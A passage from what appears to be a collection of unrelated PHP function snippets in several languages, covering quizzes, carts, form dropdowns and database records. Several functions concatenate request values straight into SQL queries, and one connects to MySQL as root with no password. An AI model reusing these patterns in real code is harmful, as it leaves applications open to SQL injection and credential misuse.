//$kprvek->id_s_typ_kolize_FK);\r\n } \r\n }\r\n \r\n return $kolize_pole_redukovane; \r\n}", "public function Zapis_vsechny_kolize_v_zaveru_formulare ($pole, $idcka_skolizi, $iducast, $formular){\r\n //zapise kolize formulare \r\n self::Zapis_kolize_formulare($pole,$idcka_skolizi, $iducast, $formular);\r\n //-----------------------------------------------------------------------------\r\n \r\n \r\n //a zjisti a zapise kolize ucastnika pro vsechny formulare \r\n $vsechny_kolize_ucastnika_pole = self::Najdi_kolize_vsechny($iducast);\r\n //echo \"<br>**Vsechny kolize_pole v Zapis_vsechny_kolize..... **\";\r\n //var_dump($vsechny_kolize_ucastnika_pole);\r\n \r\n //znevalidneni vsech kolizi pro ucastnika \r\n self::Znevalidni_kolize_ucastnika_vsechny($iducast);\r\n foreach($vsechny_kolize_ucastnika_pole as $jedna_kolize){\r\n if ($jedna_kolize->kolize_nastala) {\r\n $jedna_kolize->Zapis_jednu_kolizi();\r\n } \r\n }\r\n \r\n}", "function zwrocPytanieZKategorii($ID)\r\n\t{\r\n\t require(\"config.php\");\r\n\t require(\"Pytania.php\");\r\n\t $dbConnect1=new mysqli($Serwer,$DBUser,$DBPassword,$DBName);\r\n $zapytanie1=\"SELECT * FROM pytania WHERE IDKategorii='\".$ID.\"'\";\r\n $wynik =$dbConnect1->query($zapytanie1);\r\n $ile=$wynik->num_rows;\r\n\r\n $tablicaPytan=array();\r\n if($ile<1)\r\n {\r\n $idPytania=0;\r\n }\r\n else\r\n {\r\n for($a=0;$a<$ile;$a++)\r\n {\r\n $Pytanie = new Pytania(); \r\n $wiersz=$wynik->fetch_assoc(); \r\n $Pytanie->ID=$wiersz['IDPytania'];\r\n $Pytanie->Pytanie=$wiersz['Pytanie'];\r\n $Pytanie->OdpowiedzA=$wiersz['OdpowiedzA']; \r\n $Pytanie->OdpowiedzB=$wiersz['OdpowiedzB']; \r\n $Pytanie->OdpowiedzC=$wiersz['OdpowiedzC']; \r\n $Pytanie->OdpowiedzD=$wiersz['OdpowiedzD']; \r\n $Pytanie->Prawidlowa=$wiersz['Prawidlowa'];\r\n $tablicaPytan[$a]=$Pytanie;\r\n }\r\n $wynik->free();\r\n $dbConnect1->close();\r\n $idPytania=$Pytanie->losuj($ile);\r\n for($a=0;$a<count($tablicaPytan);$a++)\r\n {\r\n if($tablicaPytan[$a]->ID==$idPytania)\r\n {\r\n $tablicaPytan[$a]->Pytanie;\r\n return $tablicaPytan[$a];\r\n }\r\n }\r\n }\r\n\t}", "public function inOriginal();", "public function lokalizacjaAction() {\n\t\t\t$db = Zend_Registry::get('db');\n\t\t\t$id = (int)$this->_request->getParam('id');\n\n\t\t\t$this->view->lista = $db->fetchAll($db->select()->from('inwestycje_markery')->order('sort ASC')->where('id_inwest =?', $id));\n\t\t\t$this->view->inwestycja = $db->fetchRow($db->select()->from('inwestycje')->where('id = ?', $id));\n\t\t}", "public function liberar() {}", "function restablecer()\n {\n $this->_datos = null;\n $this->_errores = array();\n }", "public function rifaiVetrine()\n\t\t{\n\t\t\tif( ($listaVetrine = array_keys($this->vetrine)) )\n\t\t\t\tforeach ($listaVetrine as $nomeVetrina)\n\t\t\t\t\tunset($this->vetrine[$nomeVetrina]['lastMod']);\n\t\t\t\n\t\t\t$this->salvaStatoInsiemeVetrine();\n\t\t}", "public function revert(){\n\t}", "protected static function restore() {}", "public static function Znevalidni_kolize_ucastnika_vsechny($iducast) {\r\n//echo \"<hr><br>*Znevalidnuji vsechny kolize ucastnika , formular=\" . $formular;\r\n \r\n $dbh = Projektor2_AppContext::getDB();\r\n\r\n //vyberu vsechny ulozene kolize z tabulky uc_kolize_table\r\n $query= \"SELECT * FROM uc_kolize_table \" .\r\n \"WHERE id_ucastnik=\" . $iducast . \" and uc_kolize_table.valid\" ;\r\n\r\n //echo \"<br>*dotaz na kolize v Znevalidni_kolize_ucastnika: \" . $query;\r\n \r\n $sth = $dbh->prepare($query);\r\n $succ = $sth->execute(); \r\n while($zaznam_kolize = $sth->fetch(PDO::FETCH_ASSOC)) {\r\n //echo \"<br>*Znevalidnuji kolizi: \" . $zaznam_kolize[id_uc_kolize_table];\r\n \r\n $query1 = \"UPDATE uc_kolize_table SET \" .\r\n \"valid=0 WHERE uc_kolize_table.id_uc_kolize_table=\" . $zaznam_kolize['id_uc_kolize_table'] ;\r\n $data1= $dbh->prepare($query1)->execute(); \r\n }\r\n \r\n//echo \"<hr>\";\r\n}", "private function CsomagHozzaadasa()\r\n {\r\n foreach (Lap::Nevkeszlet() as $nev)\r\n {\r\n foreach (Lap::Szinkeszlet() as $szin)\r\n {\r\n $this->lapok[]=new Lap($szin,$nev);\r\n }\r\n }\r\n }", "public function istorijaRezultata() {\n $rModel = new RezultatModel();\n $igrac = $this->session->get('igrac');\n $rezultati = $rModel->nadji_rezultateigraca($igrac['idKI']);\n $this->prikaz(\"mod_istorijarezultata\", ['rezultati' => $rezultati]);\n }", "private function reset(){\n\n\t\tforeach($this as $k=>$v) unset($this->$k);\n\n\t\t$this::$map = $this->maper();\n\n\t\t$this->name = \"\";\n\n\t\t$this->address = [];\n\n\t\t$this->tableclass();\n\n\t}", "function UsunZKolejnosci($Nazwa){\n \n //unset( $this->Kolejnosc[$KolejnoscID]);\n array_pop( $this->Kolejnosc );\n //unset( $this->MapaNazw[$Nazwa]);\n \n }", "public function fixObject(){\n\t\t//Ex : cadre et texte d'entete\n\t}", "abstract public function getPasiekimai();", "function f_app_lov($lov)\n {\n//############################################ HELP #############################################################################\n/*\n unset($lov);\n $lov[\"name\"] = \"procesi\"; //DS -> sherben vetem per funksionin lov_default_values();\n $lov[\"obj_or_label\"] = \"object\"; //DS -> sherben vetem per funksionin lov_name_default_values(); pranon vetem vlerat object, label; default = object;\n $lov[\"type\"] = \"dinamik\"; //*DS -> pranon vlerat dinamik, statik;\n $lov[\"object_name\"] = \"id_proces\"; //*DS -> emri i objektit LOV;\n $lov[\"tab_name\"] = \"proces\"; //*D -> per tipin=\"dinamik\" emri tabeles ku do behet select | per tipin=\"statik\" sduhet;\n $lov[\"id\"] = \"id_proces\"; //*DS -> per tipin=\"dinamik\" emri i fushes qe ruan kodin | per tipin=\"statik\" lista e kodeve te ndara me ndaresin perkates, default ,;\n $lov[\"field_name\"] = \"name_proces\"; //*DS -> per tipin=\"dinamik\" emri i fushes qe ruan emertimin, mund te perdoret p.sh: Concat(id_proces, ' ', name_proces) | per tipin=\"statik\" lista e emertimeve te ndara me ndaresin perkates, default ,;\n\n $lov[\"layout_object\"] = \"\"; //DS -> pranon vlerat: select, select-multiple, checkbox, radio; default = select;\n $lov[\"layout_forma\"] = \"\"; //DS -> ka kuptim vetem per $lov[\"layout_object\"] = checkbox ose radio; ne rast se vendoset vlera 'table' elementet e lov strukturohen ne nje tabele; vlera te ndryshme jane: <br> = elementet thyhen njeri poshte tjetrit; &nbsp = elementet ndahen me nje ose me shume spacio; default = <br>;\n\n $lov[\"filter\"] = \"WHERE id_proces < 30\"; //D -> per tipin=\"dinamik\" kushti i filtrimit te te dhenave, default = '', p.sh: WHERE status = 1 AND id > 0 (mos haroni 'WHERE');\n $lov[\"filter_plus\"] = \"\"; //D -> per tipin=\"dinamik\" kusht filtrimi shtese, default = '', p.sh: AND status = 1 AND id > 0 (mos haroni qe 'WHERE' ne kete rast nuk duhet sepse duhet ta kete variabli $filter); meret parasysh vetem kur $filter != ''; filtrimi i vlerave kryhet: $filter.\" \".$filter_plus\n\n $lov[\"distinct\"] = \"F\"; //D -> per tipin=\"dinamik\", pranon vlerat T,F (pra true ose false), default = 'F', pra ti beje distinct vlerat apo jo;\n $lov[\"disabled\"] = \"F\"; //DS -> pranon vlerat T,F (pra true ose false), default = 'F';\n\n $lov[\"null_print\"] = \"T\"; //DS -> pranon vlerat T,F (pra true ose false), default select = 'T', default select-multiple = 'F'; ka kuptim vetem per $lov[\"layout_object\"] = \"select\",\"select-multiple\" ;\n $lov[\"null_id\"] = \"\"; //DS -> ne rast se $lov[\"null_print\"] == 'T' id e rekordit te pare ne liste, zakonisht lihet bosh, default = '';\n $lov[\"null_etiketa\"] = \"\"; //DS -> ne rast se $lov[\"null_print\"] == 'T' etiketa e rekordit te pare ne liste, zakonisht lihet bosh, ose Zgjidhni emertimin, default = '';\n\n $lov[\"id_select\"] = \"1\"; //DS -> vlerat e kodit qe duhet te dalin te selektuara te ndara me ndaresin perkates default ,(presje); bosh kur s'duam te dali ndonje vlere e selektuar; kur eshte vetem nje vlere vendoset vetem vlera e kodit pa presje;\n $lov[\"order_by\"] = \"name_proces\"; //D -> emri i kolones qe do perdoret per order, default = $lov[\"field_name\"] | per tipin=\"statik\" sduhet;\n $lov[\"valid\"] = \"1,0,0,0,0,0\"; //DS -> Validimet e ndryshme JS, normalisht kjo fushe testohet vetem me shifren e pare pra te lejoje ose jo NULL;\n $lov[\"alert_etiketa\"] = \"Serveri\"; //DS -> Etiketa e fushes qe do perdoret ne alertet ne validimet JS, mos perdorni thonjeza teke dopjo;\n $lov[\"ndares_vlerash\"] = \",\"; //S -> stringa qe ndan vlerat e listes statike (kod dhe emertim), default = ,(presje);\n $lov[\"class\"] = \"\"; //DS -> emri i klases ne style, default = 'txtbox'; per $lov[\"layout_object\"] = checkbox, radio po spati vlere nuk meret parasysh\n $lov[\"width\"] = \"300\"; //DS -> gjeresia ne piksel e LOV, ne rast se lihet bosh LOV i bindet gjeresise qe eshte percaktuar tek klasa, perndryshe gjeresia e LOV mer vleren e percaktuar;\n $lov[\"height\"] = \"60\"; //DS -> lartesia ne piksel e LOV; vlen vetem per tipin select-multiple; ne rast se lihet bosh LOV i bindet lartesise qe eshte percaktuar tek klasa, perndryshe lartesia e LOV mer vleren e percaktuar;\n \n \n $lov[\"class_etiketa\"] = \"\"; //DS -> emri i klases ne style per etiketat per $lov[\"layout_object\"] = checkbox, radio, vetem ne rastet kur strukturohen ne tabele; po spati vlere nuk meret parasysh;\n $lov[\"isdate\"] = \"\"; //D -> pranon vlerat T,F (pra true ose false), default = 'F'; perdoret kur etiketa eshte e tipit date;\n $lov[\"asc_desc\"] = \"\"; //D -> per orderin, pranon vlerat ASC,DESC; default = 'ASC';;\n $lov[\"triger_function\"]= \"\"; //DS -> emri i funksionit qe do trigerohet;\n\n $lov[\"element_id\"] = \"\"; //DS ID qe deshironi te kete elementi; sintaksa qe kthen lov kur ky variabel eshte i ndryshem nga bosh : id='$lov[\"element_id\"]'; kur variabli eshte bosh lov kthen default: id='$lov[\"object_name\"]';\n $lov['tabindex'] = ''; //tabindex ne html vetem numri 1 ose 12\n*/\n//############################################ HELP #############################################################################\n\n $lov_array_id = \"\";\n $lov_array_name = \"\";\n\n $lov_alert_etiketa = \"\";\n IF (isset($lov[\"alert_etiketa\"]) AND ($lov[\"alert_etiketa\"]!=\"\"))\n {$lov_alert_etiketa .= \"etiketa='\".$lov[\"alert_etiketa\"].\"'\";}\n\n $lov_valid = \"\";\n IF (isset($lov[\"valid\"]) AND ($lov[\"valid\"]!=\"\"))\n {$lov_valid .= \"valid='\".$lov[\"valid\"].\"'\";}\n\n $disabled = \"\";\n IF ($lov[\"disabled\"] == \"T\")\n {$disabled = \" disabled\";}\n\n IF (!isset($lov[\"layout_object\"]) OR ($lov[\"layout_object\"]==\"\"))\n {$lov[\"layout_object\"] = \"select\";}\n\n IF (!isset($lov[\"ndares_vlerash\"]) OR ($lov[\"ndares_vlerash\"]==\"\"))\n {$lov[\"ndares_vlerash\"] = \",\";}\n\n $triger_function = \"\";\n IF (ISSET($lov[\"triger_function\"]) AND ($lov[\"triger_function\"] != \"\"))\n {$triger_function = $lov[\"triger_function\"];}\n\n $element_id = \"\";\n IF (ISSET($lov[\"element_id\"]) AND ($lov[\"element_id\"] != \"\"))\n {$element_id = \" id='\".$lov[\"element_id\"].\"' \";}\n ELSE\n {$element_id = \" id='\".$lov[\"object_name\"].\"' \";}\n \n $tabindex = '';\n IF (ISSET($lov['tabindex']) AND ($lov['tabindex'] != ''))\n {$tabindex = ' tabindex=\"'.$lov['tabindex'].'\" ';}\n\n //PER LISTEN DINAMIKE ---------------------------------------------------------------------------------------------------------\n IF ($lov[\"type\"] == \"dinamik\")\n {\n IF (!isset($lov[\"order_by\"]) OR ($lov[\"order_by\"]==\"\"))\n {$lov[\"order_by\"] = $lov[\"field_name\"];}\n\n $filter = \"\";\n IF (ISSET($lov[\"filter\"]) AND ($lov[\"filter\"] != \"\"))\n {\n $filter = $lov[\"filter\"];\n IF (ISSET($lov[\"filter_plus\"]) AND ($lov[\"filter_plus\"] != \"\"))\n {$filter .= \" \".$lov[\"filter_plus\"];}\n }\n\n $lov_distinct = \"\";\n IF (ISSET($lov[\"distinct\"]) AND ($lov[\"distinct\"] == \"T\"))\n {$lov_distinct = \"DISTINCT\";}\n\n IF (!isset($lov[\"asc_desc\"]) OR ($lov[\"asc_desc\"]==\"\"))\n {$lov[\"asc_desc\"] = \"ASC\";}\n\n IF ($lov[\"isdate\"] == \"T\")\n {$sql = \"SELECT \".$lov_distinct.\" \".$lov[\"id\"].\" as id_as, IF(\".$lov[\"field_name\"].\" IS NULL, '',DATE_FORMAT(\".$lov[\"field_name\"].\",'%d.%m.%Y')) AS fusha_as_as, \".$lov[\"field_name\"].\" as field_name_order FROM \".$lov[\"tab_name\"].\" \".$filter.\" ORDER BY field_name_order \".$lov[\"asc_desc\"];}\n ELSE\n {$sql = \"SELECT \".$lov_distinct.\" \".$lov[\"id\"].\" as id_as, IF(\".$lov[\"field_name\"].\" IS NULL, '',\".$lov[\"field_name\"].\") AS fusha_as_as FROM \".$lov[\"tab_name\"].\" \".$filter.\" ORDER BY \".$lov[\"order_by\"].\" \".$lov[\"asc_desc\"];}\n\n //print $sql;\n $i = -1;\n $rs = WebApp::execQuery($sql);\n $rs->MoveFirst();\n while (!$rs->EOF())\n {\n $id = $rs->Field(\"id_as\");\n $name = $rs->Field(\"fusha_as_as\");\n\n $i = $i + 1;\n $lov_array_id[$i] = $id;\n $lov_array_name[$i] = $name;\n\n $rs->MoveNext();\n }\n }\n //PER LISTEN DINAMIKE =========================================================================================================\n\n //PER LISTEN STATIKE ----------------------------------------------------------------------------------------------------------\n IF ($lov[\"type\"] == \"statik\")\n {\n $lov_array_id = EXPLODE($lov[\"ndares_vlerash\"], $lov[\"id\"]);\n $lov_array_name = EXPLODE($lov[\"ndares_vlerash\"], $lov[\"field_name\"]);\n }\n //PER LISTEN STATIKE ==========================================================================================================\n\n //FORMOHET HTML E LOV ---------------------------------------------------------------------------------------------------------\n IF ((($lov[\"layout_object\"] == \"checkbox\") OR ($lov[\"layout_object\"] == \"radio\")) AND ($lov[\"only_options\"] == \"Y\"))\n {\n $lov_html = array();\n }\n ELSE\n {\n $lov_html = \"\";\n }\n \n IF (($lov[\"layout_object\"] == \"select\") OR ($lov[\"layout_object\"] == \"select-multiple\"))\n {\n IF (!isset($lov[\"class\"]) OR ($lov[\"class\"]==\"\"))\n {$lov[\"class\"] = \"form-control input-xs\";}\n\n IF (!isset($lov[\"null_print\"]) OR ($lov[\"null_print\"]==\"\"))\n {\n IF ($lov[\"layout_object\"] == \"select-multiple\")\n {$lov[\"null_print\"] = \"F\";}\n ELSE\n {$lov[\"null_print\"] = \"T\";}\n }\n \n \n IF (!isset($lov[\"null_id\"]))\n {$lov[\"null_id\"] = \"\";}\n IF (!isset($lov[\"null_etiketa\"]))\n {$lov[\"null_etiketa\"] = \"\";}\n\n $lov_style = \"\";\n IF ((isset($lov[\"width\"]) AND ($lov[\"width\"]!=\"\")) OR (isset($lov[\"height\"]) AND ($lov[\"height\"]!=\"\")))\n {\n $lov_style .= \"style='\";\n IF (isset($lov[\"width\"]) AND ($lov[\"width\"]!=\"\"))\n {$lov_style .= \"width:\".$lov[\"width\"].\"px;\";}\n IF (isset($lov[\"height\"]) AND ($lov[\"height\"]!=\"\"))\n {$lov_style .= \"height:\".$lov[\"height\"].\"px;\";}\n $lov_style .= \"'\";\n }\n\n $multiple = \"\";\n IF ($lov[\"layout_object\"] == \"select-multiple\")\n {$multiple = \"MULTIPLE\";}\n \n \n IF ($lov[\"only_options\"] == \"Y\")\n {\n //select nuk e perfshime\n }\n ELSE\n {\n $lov_html = \"<select \".$multiple.\" name='\".$lov[\"object_name\"].\"' \".$disabled.\" class='\".$lov[\"class\"].\"' \".$lov_valid.\" \".$lov_alert_etiketa.\" \".$lov_style.\" \".$triger_function.\" \".$element_id.\" \".$tabindex.\">\";\n }\n \n IF ($lov[\"null_print\"] == \"T\")\n {$lov_html .= \"<option value='\".$lov[\"null_id\"].\"'>\".$lov[\"null_etiketa\"].\"</option>\";}\n\n //per rastin kur SELECT_ONE perdoret si select-multiple shtojme nje rresht ne fund te LOV; -- \n $nr_id_select = 0;\n $name_id_select = \"\";\n //===========================================================================================\n $id_select_txt = $lov[\"ndares_vlerash\"].$lov[\"id_select\"].$lov[\"ndares_vlerash\"];\n FOR ($i=0; $i < count($lov_array_id); $i++)\n {\n $lov_array_id_txt = $lov[\"ndares_vlerash\"].$lov_array_id[$i].$lov[\"ndares_vlerash\"];\n\n IF (stristr($id_select_txt, $lov_array_id_txt))\n {\n $selected_txt = \" selected\";\n $nr_id_select = $nr_id_select + 1;\n $name_id_select .= \" | \".$lov_array_name[$i];\n }\n ELSE\n {$selected_txt = \"\";}\n\n $lov_html .= \"<option value='\".$lov_array_id[$i].\"'\".$selected_txt.\">\".$lov_array_name[$i].\"</option>\";\n }\n\n //per rastin kur SELECT_ONE perdoret si select-multiple shtojme nje rresht ne fund te LOV; ------- \n IF (($lov[\"layout_object\"] == \"select\") AND ($nr_id_select > 1))\n {\n //po e komentoje kete se do perdor element te tjere\n //$lov_html .= \"<option value='\".$lov[\"id_select\"].\"' selected>\".SUBSTR($name_id_select,3).\"</option>\";\n }\n //================================================================================================\n \n IF ($lov[\"only_options\"] == \"Y\")\n {\n //select nuk e perfshime\n }\n ELSE\n {\n $lov_html .= \"</select>\";\n }\n }\n\n IF (($lov[\"layout_object\"] == \"checkbox\") OR ($lov[\"layout_object\"] == \"radio\"))\n {\n IF (!isset($lov[\"class\"]) OR ($lov[\"class\"]==\"\"))\n {$lov[\"class\"] = \"\";}\n ELSE\n {$lov[\"class\"] = \"class='\".$lov[\"class\"].\"'\";}\n\n IF (!isset($lov[\"class_etiketa\"]) OR ($lov[\"class_etiketa\"]==\"\"))\n {$lov[\"class_etiketa\"] = \"\";}\n ELSE\n {$lov[\"class_etiketa\"] = \"class='\".$lov[\"class_etiketa\"].\"'\";}\n\n IF (!isset($lov[\"layout_forma\"]) OR ($lov[\"layout_forma\"]==\"\"))\n {$lov[\"layout_forma\"] = \"<br>\";}\n\n IF ($lov[\"layout_forma\"] == \"table\")\n {$lov_html .= \"<Table border=0 cellspacing=0 cellpadding=0>\";}\n\n\n $id_select_txt = $lov[\"ndares_vlerash\"].$lov[\"id_select\"].$lov[\"ndares_vlerash\"];\n FOR ($i=0; $i < count($lov_array_id); $i++)\n {\n $lov_array_id_txt = $lov[\"ndares_vlerash\"].$lov_array_id[$i].$lov[\"ndares_vlerash\"];\n\n IF (stristr($id_select_txt, $lov_array_id_txt))\n {$selected_txt = \" checked\";}\n ELSE\n {$selected_txt = \"\";}\n\n IF ($lov[\"only_options\"] == \"Y\")\n {\n $lov_html[$lov_array_id[$i]][\"name\"] = $lov_array_name[$i];\n $lov_html[$lov_array_id[$i]][\"checked\"] = SUBSTR($selected_txt, 1);\n }\n ELSE\n {\n $lov_element_id = \"<input type='\".$lov[\"layout_object\"].\"' \".$lov[\"class\"].\" name='\".$lov[\"object_name\"].\"' value='\".$lov_array_id[$i].\"' \".$lov_valid.\" \".$lov_alert_etiketa.\" \".$selected_txt.\" \".$disabled.\" \".$triger_function.\" \".$element_id.\" \".$tabindex.\">\";\n\n IF ($lov[\"layout_forma\"] == \"table\")\n {\n $lov_html .= \"<TR>\";\n $lov_html .= \"<TD>\".$lov_element_id.\"</TD>\";\n $lov_html .= \"<TD \".$lov[\"class_etiketa\"].\">\".$lov_array_name[$i].\"</TD>\";\n $lov_html .= \"</TR>\";\n }\n ELSE\n {\n IF ($i == 0)\n {$lov_html .= $lov_element_id.$lov_array_name[$i];}\n ELSE\n {$lov_html .= $lov[\"layout_forma\"].$lov_element_id.$lov_array_name[$i];}\n }\n }\n }\n \n IF ($lov[\"layout_forma\"] == \"table\")\n {\n IF ($lov[\"only_options\"] == \"Y\")\n {\n //\n }\n ELSE\n {\n $lov_html .= \"</Table>\";\n }\n }\n }\n //FORMOHET HTML E LOV =========================================================================================================\n\n RETURN $lov_html;\n }", "public function reset_rezultati()\n {\n $query = $this->query(\"SELECT * FROM rezultati;\");\n foreach ($query->getResultArray() as $row)\n {\n $this->delete($row['idrezultati']);\n }\n }", "function resetModified() { $this->_modified = 0; }", "function resetModified() { $this->_modified = 0; }", "private function desabilitaPoolIdsObjetosManipulados()\n {\n \t// setando para null o atributo _arrayObjetosManipulados\n \t$this->_arrayObjetosManipulados = null;\n }", "protected function loeschen()\n\t{\n\t\t$db = new Datenbank();\n\t\treturn $db->loeschen(\" DELETE FROM rezepte_zutaten WHERE rezepte_nr = '$this->rezepte_nr'\");\n\t}", "public function obtenerViajesplus();", "function main($_o){\r\n\r\n $path = (!empty($_o[\"p\"])) ? $_o[\"p\"] : \"\";\r\n $path2 = \"P:/develope/www/dpa/__20120605/\" . $path;\r\n $path1 = \"P:/develope/www/dpa/eswine/\" . $path;\r\n\r\n $l_arr1 = transPath($path1);\r\n $l_arr2 = transPath($path2);\r\n print_r($l_arr1);\r\n print_r($l_arr2);\r\n\r\n //\r\n $l_diff1 = array_diff($l_arr1,$l_arr2);\r\n sort($l_diff1);\r\n $l_diff2 = array_diff($l_arr2,$l_arr1);\r\n sort($l_diff2);\r\n print_r($l_diff1);\r\n print_r($l_diff2);\r\n}", "public function cleanLookupCache(){\n\t\t$this->lookup = [];\n\t}", "function prepare_remito($id_remito,&$filas)\r\n{\r\n while ($filas['cantidad']--)\r\n {\r\n\t$filas[$filas['cantidad']]['id_remito']=$id_remito;\r\n \t$filas[$filas['cantidad']]['descripcion']=\"'\".$filas[$filas['cantidad']]['descripcion'].\"'\";\r\n \tunset($filas[$filas['cantidad']]['subtotal']);\r\n }\r\n unset($filas['cantidad']);\r\n}", "function sviRezultati() {\n\t\t$mysqli = new mysqli(\"localhost\", \"root\", \"\", \"kviz\");\n\t\t$q = 'SELECT * FROM tabela t join korisnik k on t.korisnikID = k.korisnikID order by t.brojPoena desc';\n\t\t$this ->result = $mysqli->query($q);\n\t\t$mysqli->close();\n\t}", "public function listaDelitos(){\n\t $ofen=0;\n\t $indi=0;\n\t $arreglo = array();\n\n if (count($this->getOfeindis())>0){\n $ldelitos= Load::model('ofeindis')->find(\"ordenes_id = \".$this->id,\"order: indiciados_id,ofendidos_id,delitos_id\");\n }\n\n foreach ($ldelitos as $key) { // aqui se escoge a los imputados y victimas que no se repiten\n if($key->ofendidos_id !=$ofen || $key->indiciados_id !=$indi){\n array_push($arreglo,array('idel'=>$key->id,'ofendido'=>$key->getOfendidos(), 'indiciado'=>$key->getIndiciados()));\n }\n $ofen=$key->ofendidos_id;\n $indi=$key->indiciados_id;\n }\n\n for ($i=0; $i <count($arreglo) ; $i++) { // aqui voy metiendo un arreglo de delitos para cada uno\n $delitos=array();\n foreach ($ldelitos as $key) {\n if($key->ofendidos_id==$arreglo[$i]['ofendido']->id && $key->indiciados_id==$arreglo[$i]['indiciado']->id ){\n array_push($delitos,array('delito'=>$key->getDelitos(),'iddeli'=>$key->id,'principal'=>$key->esprincipal)); \n }\n } \n $arreglo[$i]['delitos']=$delitos; \n }\n return $arreglo;\n\n\t\n\t}", "public function golos()\n\t{\n\t\t$query = \"SELECT t1.ID, t1.pollerTitle, t2.ID as infID, t2.optionText, t2.pollerOrder, t2.defaultChecked FROM \".DB_PREF.\"poller t1 JOIN \".DB_PREF.\"poller_option t2 ON t1.ID = t2.pollerID WHERE t1.current='1' ORDER BY t2.pollerOrder\";\n\t\t$result = $this->msql->Select($query);\n\t\t\n\t\t$i=0;\n\t\tforeach ($result as $key => $value)\n\t\t{\n\t\t\t$i++;\n\t\t\tif ($i == 1) continue;\n\t\t\t\n\t\t\tunset($result[$key][ID]);\n\t\t\tunset($result[$key][pollerTitle]);\n\t\t\t\n\t\t}\n\t\treturn $result;\n\t}", "public function CleanFilter(){\n\t\t$this->_objectFilter = new Model_Aclusuariosonline();\n\t}", "public function getDirectriz()\n {\n $dir = false;\n if (self::getCod() === '110000') $dir='Enseñanzas Técnicas';\n if (self::getCod() === '120000') $dir='Enseñanzas Técnicas';\n if (self::getCod() === '210000') $dir='Enseñanzas Técnicas';\n if (self::getCod() === '220000') $dir='Ciencias Experimentales';\n if (self::getCod() === '230000') $dir='Ciencias Experimentales';\n if (self::getCod() === '240000') $dir='Ciencias de la Salud';\n if (self::getCod() === '250000') $dir='Ciencias Experimentales';\n if (self::getCod() === '310000') $dir='Ciencias Experimentales';\n if (self::getCod() === '320000') $dir='Ciencias de la Salud';\n if (self::getCod() === '330000') $dir='Enseñanzas Técnicas';\n if (self::getCod() === '510000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '520000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '530000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '540000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '550000') $dir='Humanidades';\n if (self::getCod() === '560000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '570000') $dir='Humanidades';\n if (self::getCod() === '580000') $dir='Humanidades';\n if (self::getCod() === '590000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '610000') $dir='Ciencias de la Salud';\n if (self::getCod() === '620000') $dir='Humanidades';\n if (self::getCod() === '630000') $dir='Ciencias Sociales y Jurídicas';\n if (self::getCod() === '710000') $dir='Humanidades';\n if (self::getCod() === '720000') $dir='Humanidades';\n return $dir;\n }", "public static function Rechercher_Liens($id=\"rien\"){\n\t\t \t//connexion à la base de données\n\t\t \t$oMysqliLib = new MySqliLib();\n\t\t \t//requête de recherche du groupe\n\t\t \tif($id==\"rien\"){\n\t\t\t\t$sRequete = \"SELECT * FROM liens\";\n\t\t\t}else{\n\t\t\t\t$sRequete = \"SELECT * FROM liens WHERE idlien='\".$id.\"'\";\n\t\t\t}\n\t\t\t\t\n\t\t \t//exécuter la requête\n\t\t \t$oResult = $oMysqliLib->executer($sRequete); \n\t\t \t//récupérer le tableau des enregistrements\n\t\t \t$aLiens = $oMysqliLib->recupererTableau($oResult);\n\t\t\t\n\t\t\tif($id==null){\n\t\t\t\t$aLiens[0]['vchnomlien']=\"\";// si le ud est null sinon ca cause des erreurs\n\t\t\t\t$aLiens[0]['urllien']=\"\";\n\t\t\t}\n\t\t\t\n\t\t \t//retourner array contenant les etapes\n\t\t \treturn $aLiens;\t\n\t\t }", "public static function odstraniArtikelIzKosarice() {\n $id = $_SESSION[\"uporabnik_id\"];\n $uporabnik = UporabnikiDB::get($id);\n\n $id_artikla = filter_input(INPUT_POST, \"id\", FILTER_SANITIZE_SPECIAL_CHARS);\n $status = \"kosarica\";\n\n $narocilo = NarocilaDB::getByUporabnikId($id, $status);\n $podrobnost_narocila = PodrobnostiNarocilaDB::getByNarociloAndArtikel($narocilo[\"id\"], $id_artikla);\n\n\n if (PodrobnostiNarocilaDB::delete($podrobnost_narocila[\"id_podrobnosti_narocila\"])) {\n echo ViewHelper::redirect(BASE_URL . \"kosarica\");\n } else {\n echo(\"Napaka\");\n }\n }", "public function iloscMinus($id)\n\t\t{\n\t\t\t$data = array();\n\t\t\t\tif($id === NULL || $id === \"\")\n\t\t\t\t\t$data['error'] = 'Nieokreślone ID!';\n\t\t\t\telse\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\t$stmt2 = $this->pdo->prepare('SELECT IdTowar, ilosc FROM `koszyk` where IdTowar=:id');\n\t\t\t\t\t\t$stmt2 -> bindValue(':id',$id,PDO::PARAM_INT);\n\t\t\t\t\t\t$ilosc = $stmt2 -> execute();\n\t\t\t\t\t\t$data = $stmt2 -> fetchAll();\n\t\t\t\t\t\tforeach($data as $result)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$ilosc = $result['ilosc'];\n\t\t\t\t\t\t\t$idt = $result['IdTowar'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif($ilosc>1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\techo $id.'<br>towary: ';\n\t\t\t\t\t\t\tvar_dump($_COOKIE['idtowary']);\n\t\t\t\t\t\t\t$stmt = $this->pdo->prepare('UPDATE koszyk SET ilosc=ilosc-1 WHERE IdTowar=:id');\n\t\t\t\t\t\t\t$stmt -> bindValue(':id',$id,PDO::PARAM_INT);\n\t\t\t\t\t\t\t$wynik_zapytania = $stmt -> execute();\n\n\t\t\t\t\t\t\t$stmt2 = $this->pdo->prepare(\"update towar set towar.StanMagazynowyDysponowany = towar.StanMagazynowyDysponowany+1 where IdTowar = $idt\");\n\t\t\t\t\t\t\t$stmt2 -> execute();\n\n\t\t\t\t\t\t\t$cookie2 = $_COOKIE['idtowary'];\n\t\t\t\t\t\t\t$cookie2 = stripslashes($cookie2);\n\t\t\t\t\t\t\t$ids = json_decode($cookie2, true);\n\n\t\t\t\t\t\t\tif(($k = array_search($idt, $ids)) === false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// echo 'nie ma';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t //echo 'jest';\n\t\t\t\t\t\t\t $indeks = array_search($idt, 